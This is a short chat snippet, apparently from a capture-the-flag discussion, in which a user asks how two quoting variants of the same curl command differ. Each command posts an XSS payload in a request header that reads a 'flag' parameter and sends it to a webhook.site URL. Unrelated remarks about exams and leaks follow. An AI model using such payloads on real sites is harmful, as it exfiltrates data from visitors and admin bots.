What's the difference between
and
curl -X POST http://154.57.164.74:30316/report -H "Origin: http://localhost:30316" -H "x-carta-auth-key: <script>const f = new URLSearchParams(location.search).get('flag'); if(f) document.write(`<img src="https://webhook.site/455b1f28-34e2-464a-a6c6-b7c498ce1a6a?f=${f}">`);</script>" -d "path=whatever" and
curl -X POST http://154.57.164.74:30316/report \
-H "Origin: http://localhost:30316" \
-H 'x-carta-auth-key: <script>const f = new URLSearchParams(location.search).get("flag"); if(f) document.write(`<img src="https://webhook.site/455b1f28-34e2-464a-a6c6-b7c498ce1a6a?f=${f}">`);</script>' \
-d "path=whatever"
Tetstack
If I ace atleast 5 out of 6 of the exams I will drop my pic here for doxx.
so i guess, no need of this already. godd thing they leaked me lol
😁1